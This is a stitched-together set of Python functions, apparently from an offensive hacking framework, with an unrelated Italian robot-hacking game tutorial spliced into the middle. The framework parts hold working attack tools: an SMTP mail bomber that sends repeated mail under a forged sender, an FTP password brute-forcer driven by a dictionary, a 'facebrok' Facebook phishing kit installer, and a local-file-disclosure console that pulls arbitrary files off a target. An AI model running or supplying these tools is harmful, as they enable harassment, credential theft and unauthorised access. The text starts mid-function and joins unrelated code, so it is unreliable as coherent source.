if version is None else version) info = str("{NULL}" if info is None else info) SERVICEs.append(colors[7] + service.get('name') + colors[0] + " [" + product + "] " + version + info + " " + colors[10] + colors[3] + PROTOCOL + "-Port: " + PORT + colors[0]) for hostscript in host.findall('hostscript'): for script in hostscript.findall('script'): if script.get('id') == 'smb-os-discovery': INFORMEs.append(script.get('output')) for os in host.findall('os'): for osmatch in os.findall('osmatch'): OSMATCHs.append(osmatch.get('name')) print " Ip address: " + defaultnet print " Mac : " + MAC print " Vendor : " + VENDOR print " OS Matchs : " for os in OSMATCHs: print " " + os print " Services : " for services in SERVICEs: print " " + str(services) print " Report :" for informer in INFORMEs: informer = str("{NULL}" if informer is "" else informer) print str(informer) commands.getoutput('rm tmp/portScanner-tmp.xml > null') d.space() except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=False) PortScanner(0)
def arplook(run): try: while True: if run != 1: actions = raw_input(d.prompt("net/arplook")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.noptions() elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": pass elif actions == "run" or actions == "r": d.run() cmd = Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) try: starting = cmd.stdout.read() cmd.stdout.close() except: error = cmd.stderr.read() print error cmd.stdout.close() print "[+] No network found" pattern = r"((([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])[ (\[]?(\.|dot)[ )\]]?){3}([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5]))" if True: print " " + Alr + " Monitoring ARP's tables" while (True): try: cmd = Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) try: look = cmd.stdout.read() cmd.stdout.close() except: error = cmd.stderr.read() #print error cmd.stdout.close() print(" " + Bad + " No network found") if (str(starting)) == (str(look)): print " " + Alr + " all right, the ARP/s tables have not changed... ", " at: ", datetime.now( ).strftime('%H:%M:%S') else: print " " + War + " ARP Table Changed ", " at: ", datetime.now( ).strftime('%H:%M:%S') print " " + War + " Data: ---------------------------------------------" print " " + look print " ----------------------------------------------------------" time.sleep(14) except: Errors.Errors(event=sys.exc_info()[0], info=True) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=False) arplook(0)
def parser(self, x): cmd=x.split()[0].casefold() params=x.split()[1:] if '-h' in params: self.docs(cmd) return # HELP if cmd=='help': if not len(params): print(css.HEADER+'[*]'+css.ENDC+' List of commands:') [print(command) for command in json.loads(open('core/commands.json').read())['commands']] else: self.docs(params[0].casefold()) # SHOW elif cmd=='show': if '-a' in params: self.overrideshow=True if 'id' in params or '-id' in params: self.showids=True self.showpos=False elif 'pos' in params or '-pos' in params: self.showids=False self.showpos=True elif 'null' in params or '-null' in params: self.showids=False self.showpos=False else: raise errs.ParamError(params) # SELECT elif cmd=='select': if '-id' in params: v=int(params[params.index('-id')+1]) for bot in self.robots: if bot.id==v: if bot==self.player: raise errs.SameObjError(bot, self.player) return if int(bot.pos[0])>=(int(self.player.pos[0])-self.player.action_range) and int(bot.pos[0])<=(int(self.player.pos[0])+self.player.action_range): if int(bot.pos[1])>=(int(self.player.pos[1])-self.player.action_range) and int(bot.pos[1])<=(int(self.player.pos[1])+self.player.action_range): self.player.selected=bot else: raise errs.ActionRangeError(bot) else: raise errs.ActionRangeError(bot) elif '-pos' in params: v=params[params.index('-pos')+1] for bot in self.robots: if bot.pos==[int(i) for i in v.split(',')]: if int(bot.pos[0])>=(int(self.player.pos[0])-self.player.action_range) and int(bot.pos[0])<=(int(self.player.pos[0])+self.player.action_range): if int(bot.pos[1])>=(int(self.player.pos[1])-self.player.action_range) and int(bot.pos[1])<=(int(self.player.pos[1])+self.player.action_range): self.player.selected=bot else: raise errs.ActionRangeError(bot) else: raise errs.ActionRangeError(bot) else: raise errs.ParamError(params) # MOVE elif cmd=='move': self.player.move(params[0]) # EXIT && BYE elif cmd in ['bye', 'exit']: print('[?] Are you sure?') c=getch() if c in ['y','s']: # accredita #globals()['srcdata']['score']+=self.gamepoints main() elif c=='n': return else: print(css.FAIL+'[ERR]'+css.ENDC+' Unrecognized key, back to game.') # SHOP elif cmd=='shop': self.inshop=True if '-s' in params or '--show' in params: pass # RECO elif cmd in ['reco', 'recognitors']: if not len(params): self.Team.parser('',self.player) else: self.Team.parser(' '.join(params), self.player) # NOT FOUND else: raise errs.CommandNotFoundError(cmd)
def goto2(text=None): cls_() fmap=lambda x: print() if x==5 else print('_', end=' ') [[fmap(i) for i in range(0,6)] for _ in range(0,5)] print('\nQuesta è la mappa, qui puoi vedere te, i robot e i punti in cui entrambi potete spostarvi. ogni posizione è chiamata "tile"') print('un tile vuoto viene indicato con un underscore ("_") mentre un tile occupato prende di norma limmagine del carattere che la occupa.') print('un robot ha la lettera R come immagine, rossa se il robot è bloccato, verde se è gia sbloccato o stato hackerato. tu sei rappresentato con una U blu.') print('in questa schermata come in qualsiasi altra abbiamo SICURAMENTE disponibile il comando help, quindi proviamo a scrivere "help":') if text: print(text) x=input(css.OKGREEN+'[MAP]'+css.ENDC+css.OKCYAN+'[SCORE:{}]'.format('0')+css.ENDC+' >> ') if not x.casefold()=='help': goto2(str(errs.CommandNotFoundError(x))) print(css.HEADER+'[*]'+css.ENDC+' List of commands:') [print(command) for command in json.loads(open('core/commands.json').read())['commands']] print("\nCome vedi help restituisce una lista dei comandi ma senza spiegarne la sintassi ne l'utilizzo, come facciamo?") print("grazie alla syx sappiamo che ogni comando ha (fortunatamente) il parametro -h che se specificato mostra la documentazione del comando.") print('senza leggere tutte le documentazioni possiamo farci un idea di come funzioni un comando solo dal nome, ad esempio show.') print('show serve a modificare la vista della mappa, la sua sintassi è:\n'+css.OKGREEN+'>'+css.ENDC+css.BOLD+' show id||pos -a'+css.ENDC) print('id||pos significa id OR pos, quindi una delle due possibilità (in realtà possiamo scrivere show null per tornare ala vista di default)') print('se -a (a sta per "all") viene specificato allora mostra anche i dati del player (i tuoi) oltre che dei nemici.') print('un altro comando importantissimo è select che serve, come suggerisce il nome, a selezionare un robot dalla mappa. questo comando ci mette') print('in comunicazione con la head, la parte che credo tu abbia visto durante l introspezione di un robot. vediamo la sintassi di select.') print(css.OKGREEN+'> '+css.ENDC+css.BOLD+'select -id||-pos value'+css.ENDC+'\n-id or -pos serve a dichiarare quale tipo di valore stiamo per inserire e value') print('è proprio questo valore. se vogliamo selezionare il bot con id=52 scriveremo "select -id 52", se invece vogliamo usare la posizione di un robot con x=3 e y=4 scriviamo') print('"select -pos 3,4". la cosa importante da notare è che x,y vada scritto senza spazi altrimenti non verrà riconosciuto.') print('la domanda che viene spontanea è dove prendiamo i valori di cui necessitiamo? sarà la mappa a fornirceli, con show id vediamo tutti gli id, ne scegliamo uno e poi') print('con "select -id IDSCELTO" usiamo IDSCELTO per far capire alla mappa quale bot intendiamo.','\npress any key'); getch() cls_() print('adesso con select abbiamo selezionato un Robot e siamo nella sua head. cosa fare? per vincere un combattimento dobbiamo distruggere tutti i robot quindi') print('spegniamoli tutti. attualmente non hai tanti strumenti a disposizione, puoi comprarli dallo shop ma fino a quel momento dovrai farti bastare questi che hai già.') print('tornando a noi, lo schema da seguire per distruggere un Robot è:\n1. bypassare una porta\n2. usare la porta per hackerarlo\n3. spegnerlo') print("andiamo in ordine, per bypassare una porta dobbiamo:\n1. ottenere il suo hash\n2. decodificarlo\n3. usare l'hash decodificato per bypassarla") print('quindi prima di tutto otteniamo il suo hash, come? il comando hash serve proprio a questo. scrivi "hash" per vedere tutte le porte con il relativo hash:') def goto3(): x=input(css.OKGREEN+'[MAP]'+css.ENDC+css.OKCYAN+'[SCORE:{}]'.format('0')+css.ENDC+' >> ') if not x.casefold()=='hash': print(str(errs.CommandNotFoundError(x))) goto3() hashes={'80':'aGFzaDE=','443':'Mmhhc2g='} print(css.HEADER+'hashes:'+css.ENDC) [print(css.OKCYAN+'[HASH]'+css.ENDC,key,hashes[key]) for key in hashes.keys()] # FIXME scrive tre volte "hashes:\nport hash\nport hash" # si è fixato da solo wtf goto3() print('\nQui trovi gli hash scritti "porta hash", copiane uno ("=" incluso) e passiamo al prossimo step.'); getch() cls_() def goto4(): choosedport='80' print('adesso che abbiamo un hash dobbiamo decodificarlo. per farlo usiamo decoder. la sua sintassi è:\n'+css.OKGREEN+'> '+css.ENDC+'decoder -text testo') print("questo decodificherà 'testo' quindi andiamo a sostituire testo con il nostro hash. ora"+' "decoder -text incolla_qui"') print("P.S. se ti fossi dimenticato di copiare il valore o lo avessi perso puoi usare questo:\naGFzaDE=\nche è l'hash della porta 80.") x=input(css.OKGREEN+'[MAP]'+css.ENDC+css.OKCYAN+'[SCORE:{}]'.format('0')+css.ENDC+' >> ') if x.casefold().split()[0]=='decoder' and x.casefold().split()[1]=='-text' and x.split()[2] in ['aGFzaDE=','Mmhhc2g=']: if x.split()[2]=='aGFzaDE=': choosedport='80' else: choosedport='443' print(css.HEADER+'[*]'+css.ENDC+' Decoded text: '+css.OKBLUE, base64.b64decode(x.split()[2]).decode(),css.ENDC) return choosedport else: print('Invalid syntax.'); return goto4() choosedport=goto4() print('\nDecoder ha restituito la versione decifrata del tuo testo. adesso usa questa versione decifrata per bypassare una porta.') print('usiamo lo stesso comando di prima, hash. la sua sintassi è\n'+css.OKGREEN+'> '+css.ENDC+'hash -port p -res decodedhash\nnoi prima abbiamo scritto hash e basta,') print('questo mostra tutte le porte con relativi hash, se avessimo specificato una porta avrebbe mostrato solo quella porta specificata.') print('-res è opzionale come port, se specificato invece di mostrare gli hash ne usa uno per sbloccare una porta specificata. esempio:') print("hash -res abcde -port 80\nusa abcde per sbloccare la porta 80, al posto di abcde dobbiamo inserire la versione decifrata dell'hash della porta 80") print("se hai decifrato l'hash della porta 80 scrivi:\nhash -res incolla_qui -port 80\nse quello della 443:\nhash -res incolla_qui -port 443") print('non dimenticare di sostituire incolla_qui con il risultato di decoder! proviamo:') def goto5(): x=input(css.OKGREEN+'[MAP]'+css.ENDC+css.OKCYAN+'[SCORE:{}]'.format('0')+css.ENDC+' >> ') ths=x.casefold().split() if ths[0]=='hash' and ths[1]=='-res' and ths[2] in ['hash1', '2hash'] and ths[3]=='-port' and ths[4] in ['80', '443']: if (ths[2]=='hash1' and ths[4]=='80') or (ths[2]=='2hash' and ths[2]=='443'): print(css.HEADER+'[*]'+css.ENDC+' Port {p} Successfully bypassed.'.format(p=ths[4])) else: print('cannot bypass, hash incorrect for this port.'); goto5() else: print('Invalid syntax.'); goto5() goto5(); getch() cls_() print('Perfetto! hai appena bypassato una porta per la prima volta, adesso hai fatto il 90%% del lavoro. il nostro obiettivo è quello di spegnere un robot quindi procediamo.') print('il prossimo comando da usare è hack. questo usa una porta sbloccata per disabilitare i sistemi di sicurezza del robot. la sua sintassi è:\nhack -port p') print('ammettendo che p sia il numero di una porta sbloccata. adesso usiamolo per disabilitare i sistemi di questo bot, scrivi:\nhack -port portascelta') print('sostituendo portascelta con la porta dalla quale avevi copiato gli hash, nel nostro caso {}'.format(choosedport)) print('proviamo quindi ad hackerare il robot usando la porta sbloccata:') def goto6(): x=input(css.OKGREEN+'[MAP]'+css.ENDC+css.OKCYAN+'[SCORE:{}]'.format('0')+css.ENDC+' >> ') try: if x.split()[0].casefold()=='hack' and x.split()[1]=='-port' and x.split()[2] in ['80','443']: if not str(x.split()[2])==str(choosedport): print(errs.HackError()); goto6() else: print(css.OKCYAN+'[..]'+css.ENDC+' Hacking on port:',choosedport) time.sleep(0.5) print(css.OKCYAN+'[*]'+css.ENDC+css.OKGREEN+' Successfully hacked.'+css.ENDC) else: print('command or syntax r invalid, or maybe the port is incorrect!') goto6() except: print('an error has occured.') goto6() goto6() print('\nhai correttamente hackerato il robot! adesso non ha più i sistemi di sicurezza abilitati e nulla ci impedirà di distruggerlo.') print('il prossimo comando è destroy che non ha parametri ne nulla, basta scrivere destroy (o shutdown, stesso comando ma diverso nome)') print('proviamo:') def goto7(): x=input(css.OKGREEN+'[MAP]'+css.ENDC+css.OKCYAN+'[SCORE:{}]'.format('0')+css.ENDC+' >> ') if x.casefold() in ['destroy', 'shutdown']: print(css.FAIL+'[..]'+css.ENDC+' Self-Destruction Enabled..') time.sleep(0.4) print(css.HEADER+'[*]'+css.ENDC+' Bot killed.') else: print('puoi scrivere solo shutdown o destroy.') goto7() goto7() print('\nWOOOOHOOOO, hai ucciso il tuo primo robot, come crescono in fretta *lacrimuccia*.') print('da adesso le cose si faranno più difficili, a differenza di adesso avrai carta bianca e potrai eseguire ogni comando quando vorrai') print('sempre ammesso che funzionerà :)') print('potrai ripetere il tutorial quando vorrai, basta scrivere "tutorial -repeat" nella schermata home.')
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ getFunction.live(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if True: try: server = smtplib.SMTP(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if initialize.TLS: server.starttls() server.login(initialize.DEFAULT_VARIABLE[2][0], initialize.DEFAULT_VARIABLE[3][0]) Message.loading_file() with open(initialize.DEFAULT_VARIABLE[6][0], 'r') as body: FILE_HTML = "" for read_line in body: FILE_HTML += read_line message = """\From: %s\nTo: %s\nContent-type: text/html\nSubject: %s\n\n%s""" % ( initialize.DEFAULT_VARIABLE[2][0], initialize.DEFAULT_VARIABLE[4][0], initialize.DEFAULT_VARIABLE[5][0], FILE_HTML) try: many = 0 while (many < int(initialize.DEFAULT_VARIABLE[7][0])): many += 1 server.sendmail(initialize.DEFAULT_VARIABLE[4][0], initialize.DEFAULT_VARIABLE[2][0], message) print " " + Suf + " #" + str( many) + " E-Mail was sent." except: print " " + Bad + " E-Mail not was sent." print " " + Suf + " Attack Completed." server.quit() except smtplib.SMTPAuthenticationError: print ' ' + Bad + ' Authentication Required or Authentication went wrong.\n' except: error = str(sys.exc_info()[1]) if error.find("SMTP AUTH extension") >= 0: print " " + Bad + " TLS error, Starting again with TLS." initialize.TLS = True main(False) Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[6][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def facebrok(run): try: global username_sql,password_sql,database_sql,username_cp,password_cp if run!=1: actions=raw_input(d.prompt("set/facebrok")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("usql","yes","Username sql",username_sql) d.descrip("psql","yes","Password sql",password_sql) d.descrip("dsql","yes","Database sql",database_sql) d.descrip("upan","no","Username CPanel",username_cp) d.descrip("ppan","no","Password CPanel",password_cp) print "" elif actions[0:8] == "set usql": username_sql = actions[9:] d.change("usql",username_sql) facebrok(0) elif actions[0:8] == "set psql": password_sql = actions[9:] d.change("psql",password_sql) facebrok(0) elif actions[0:8] == "set dsql": database_sql = actions[9:] d.change("dsql",database_sql) facebrok(0) elif actions[0:8] == "set upan": username_cp = actions[9:] d.change("upan",username_cp) facebrok(0) elif actions[0:8] == "set ppan": password_cp = actions[9:] d.change("ppan",password_cp) facebrok(0) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return elif actions=="run" or actions=="r": d.run() try: print("\n "+Alr+" Installing facebrok project in local server") print " "+Alr+" Coping files to server",ping.status_cmd("cp -R files/facebrok/* "+PATCH_WWW,"\t\t\t") print " "+Alr+" Giving privileges to files",ping.status_cmd("chmod -R 777 "+PATCH_WWW+"croak/","\t\t") if True: try: print " "+Alr+" Starting Apache Server",ping.status_cmd("service apache2 start","\t\t\t") print(" "+Alr+" Starting Mysql Server"),ping.status_cmd("service mysql start","\t\t\t") print(" "+Alr+" Installing facebrok"),ping.status_cmd('wget -b -nv --post-data "server=127.0.0.1&user='******'&pass='******'&data='+database_sql+'&userp='+username_cp+'&passp='+password_cp+'" 127.0.0.1/croak/install/startgame.php','\t\t\t') d.space() print(" "+Got+" Script Running in http://127.0.0.1/") print(" "+Got+" Control Panel in http://127.0.0.1/croak/") d.space() raw_input(" "+Hlp+" Press any key for Stop facebrok") d.space() print(" "+Alr+" Stoping Process") print " "+Alr+" Removing files",ping.status_cmd("rm -R "+PATCH_WWW+"*","\t\t\t\t") print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t") print " "+Alr+" Stoping Mysql",ping.status_cmd("service mysql stop","\t\t\t\t") d.space() except: d.space() print(" "+Alr+" Stoping Process") print " "+Alr+" Removing files",ping.status_cmd("rm -R /var/www/*","\t\t\t\t") print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t") print " "+Alr+" Stoping Mysql",ping.status_cmd("service mysql stop","\t\t\t\t") d.space() except: Errors.Errors(event=sys.exc_info()[0], info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) facebrok(0)
def smtpbombing(run): global defaulthost, defaultport, defaultfrom, defaultdest, defaultsubj, defaulttemp, defaultmany try: if run != 1: actions = raw_input(d.prompt("set/mailboom")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("host", "yes", "IP or DNS", defaulthost) d.descrip("port", "no", "Port ", defaultport) d.descrip("target", "yes", "E-mail target", defaultdest) d.descrip("from", "yes", "E-mail fake", defaultfrom) d.descrip("subjet", "yes", "Subject fake", defaultsubj) d.descrip("tempte", "yes", "Template", defaulttemp) d.descrip("many", "no", "Amount to send", defaultmany) print "" smtpbombing(0) elif actions[0:8] == "set host": defaulthost = ping.update(defaulthost, actions, "host") d.change("host", defaulthost) elif actions[0:8] == "set port": defaultport = ping.update(defaultport, actions, "port") d.change("port", defaultport) elif actions[0:10] == "set target": defaultdest = actions[11:] d.change("target", defaultdest) smtpbombing(0) elif actions[0:8] == "set from": defaultfrom = actions[9:] d.change("from", defaultfrom) smtpbombing(0) elif actions[0:10] == "set subjet": defaultsubj = actions[11:] d.change("subjet", defaultsubj) smtpbombing(0) elif actions[0:10] == "set tempte": defaulttemp = actions[11:] d.change("tempte", defaulttemp) smtpbombing(0) elif actions[0:8] == "set many": defaultmany = actions[9:] d.change("tempte", defaultmany) smtpbombing(0) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return elif actions == "run" or actions == "r": d.run() i = int(defaultmany) try: with open(defaulttemp, 'r') as body: try: smtp = smtplib.SMTP(defaulthost, defaultport) while 0 < i: i -= 1 try: smtp.sendmail(defaultfrom, defaultdest, body) if True: print " " + Suf + " (" + str( i) + ")E-Mail was sent." except: print " " + Bad + " (" + str( i) + ")E-mail not was sent." except: Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport) except: Errors.Errors(event=sys.exc_info()[0], info=defaulttemp) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) smtpbombing(0)
def hostl(run): global defaultnet,defaulttyp try: if run!=1: actions=raw_input(d.prompt("net/lanlive")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("nets","yes","Local area net",defaultnet) #d.descrip("type","no","type scan",defaulttyp) d.helpAUX() if ping.conneted()!=False: print " You IP : ",ping.myip() else: print d.noconnect() #print " Type : {fast}{intense}" d.space() hostl(0) elif actions[0:8] == "set nets": defaultnet=ping.update(defaultnet,actions,"nets") d.change("nets",defaultnet) elif actions[0:8] == "set type": defaulttyp=ping.update(defaulttyp,actions,"type") d.change("type",defaulttyp) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return elif actions[0:5]=="save:": ping.SaveVariable(secuence=actions, matrix=IPs) elif actions=="run" or actions=="r": d.run() try: d.space() commands.getoutput(NMAP_PATH+' -sn '+str(defaultnet)+'/24 -oX tmp/ips.xml > null') GateWay=ping.get_gateway(2) tree = ET.parse('tmp/ips.xml') root = tree.getroot() IPf=0 counter=0 IP="" for host in root.findall('host'): for hosted in host.findall('address'): if hosted.get('addrtype') == "ipv4": IPf=hosted.get('addr') else: if GateWay == IPf : IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0] IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor'))) print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0] for HOST in IPs: counter=counter+1 print " ["+str(counter)+"]"+HOST d.space() commands.getoutput('rm tmp/ips.xml > null') except: Errors.Errors(event=sys.exc_info(), info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=False) hostl(0)
def btftp(run): try: global defaulthost, defaultport, defaultuser, defaultdicc if run != 1: actions = raw_input(d.prompt("bt/ftp")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP or DNS", defaulthost) d.descrip("port", "no", "Port of target", defaultport) d.descrip("user", "yes", "Username", defaultuser) d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc) d.space() btftp(0) elif actions[0:10] == "set target": defaulthost = defaulthost.replace("http://", "") defaulthost = ping.update(defaulthost, actions, "target") d.change("target", defaulthost) elif actions[0:8] == "set port": defaultport = ping.update(defaultport, actions, "port") d.change("port", defaultport) elif actions[0:8] == "set user": defaultuser = ping.update(defaultuser, actions, "user") d.change("user", defaultuser) elif actions[0:10] == "set dict_1": defaultdicc = ping.update(defaultdicc, actions, "dict_1") d.change("dict_1", defaultdicc) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return return elif actions == "run" or actions == "r": d.run() try: ftp = FTP(defaulthost) if True: try: d.loading_file() try: with open(defaultdicc, 'r') as passs: for ps in passs: ps = ps.replace("\n", "") try: ftp.login(defaultuser, ps) if True: ping.save("BruteForceFTP", defaulthost, defaultport, defaultuser, ps) d.Success(defaultuser, ps) return 1 except: print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")" except: Errors.Errors(event=sys.exc_info()[0], info=defaultdicc) except: Errors.Errors(event=sys.exc_info()[0], info=False) except: Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) btftp(0)
def LFDconsole(run): global defaulthost, defaultfile, defaultport try: if run != 1: actions = raw_input(d.prompt("web/lfd-con")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP, DNS Target", defaulthost) d.descrip("patch", "yes", "Path file vul", defaultfile) d.descrip("port", "no", "Port service", defaultport) d.space() LFDconsole(0) elif actions[0:9] == "set patch": defaultfile = ping.update(defaultfile, actions, "patch") d.change("patch", defaultfile) elif actions[0:10] == "set target": defaulthost = ping.update(defaulthost, actions, "target") d.change("target", defaulthost) elif actions[0:8] == "set port": defaultport = ping.update(defaultport, actions, "port") d.change("port", defaultport) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return elif actions == "run" or actions == "r": d.run() try: ping.live(defaulthost, defaultport) if True: connection = httplib.HTTPConnection( defaulthost, defaultport) connection.request("GET", defaultfile) response = connection.getresponse() if response.status == 200: print " " + Suf + " File response correctly." d.space() print "\n " + Hlp + " LFD Console help\n" print " ------------------------------------------" print " |" + colors[6] + "Command " + colors[ 0] + "| " + colors[6] + "Description" + colors[ 0] + " | " + colors[6] + "Examples" + colors[ 0] + " |" print " ------------------------------------------" print " | get | Download file | get index.php |" print " ------------------------------------------" d.space() command = 0 while command != "exit": command = raw_input(d.Client_prompt("LFD")) if command[:3] == "get": submit = command[4:] try: url = "http://" + defaulthost + defaultfile + "?" + submit file_name = url.split('/')[-1] u = urllib2.urlopen(url) f = open("tmp/" + file_name, 'wb') meta = u.info() try: file_size = int( meta.getheaders("Content-Length") [0]) if file_size != 0: print " " + Alr + " Downloading %s Bytes: %s" % ( file_name, file_size) file_size_dl = 0 block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer: break file_size_dl += len(buffer) f.write(buffer) status = r"%10d [%3.2f%%]" % ( file_size_dl, file_size_dl * 100. / file_size) status = status + chr(8) * ( len(status) + 1) print " " + Suf + " Completed " + status f.close() print " \n -------------------------------- File " + file_name + " Size: " + str( file_size) + " \n" os.system("cat 'tmp/" + file_name + "' -b -v ") os.system("rm 'tmp/" + file_name + "'") print " \n -------------------------------- File " + file_name + " Size: " + str( file_size) + " \n" else: print " " + War + " File empy or no exist." except: Errors.Errors(event=sys.exc_info(), info=url) except: Errors.Errors(event=sys.exc_info(), info=defaulthost + ":" + defaultport) else: print " " + Bad + " File Not response correctly." d.space() except: Errors.Errors(event=sys.exc_info(), info=defaulthost + ":" + defaultport) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=False) LFDconsole(0)